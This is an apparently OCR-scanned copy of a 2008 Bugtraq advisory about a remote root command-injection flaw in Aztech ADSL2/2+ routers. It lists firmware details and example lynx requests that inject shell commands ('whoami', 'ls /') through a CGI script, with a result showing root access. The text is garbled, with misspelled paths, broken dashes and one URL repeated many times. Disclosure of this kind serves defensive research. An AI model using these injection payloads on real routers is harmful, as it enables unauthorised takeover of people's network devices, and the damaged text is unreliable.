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Aztech ADSL2/2+ 4 Port remote root

Source;_http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtrag/2008-03/msg00337.html

* From_sipherr@ XxxxXxXxXxXxX
* Date: 26 Mar 2008 00:08:49 —0000

(http://www.aztech.com)

# cat versions
VERSION=3.7.0
BUILD=070426
BOARD=AR7RD
FSSTAMP=20070426171252

Example:

$ lynx "http://192.168.0.5/cqgi—bin/script?system%20&%20whoami ——source
root

nx "http://192.168.0.5/cai—bin/script?system%20&%20Is /" ——source

http://core.ifconfig.se/~core/

Aztech ADSL2/2+ 4 Port remote root


http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-03/msg00337.html
mailto:sipherr@DOMAIN.HIDDEN
http://www.aztech.com
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20ls
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://core.ifconfig.se/~core/
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot
http://192.168.0.5/cgi-bin/script?system%20&amp;%20whoami&quot

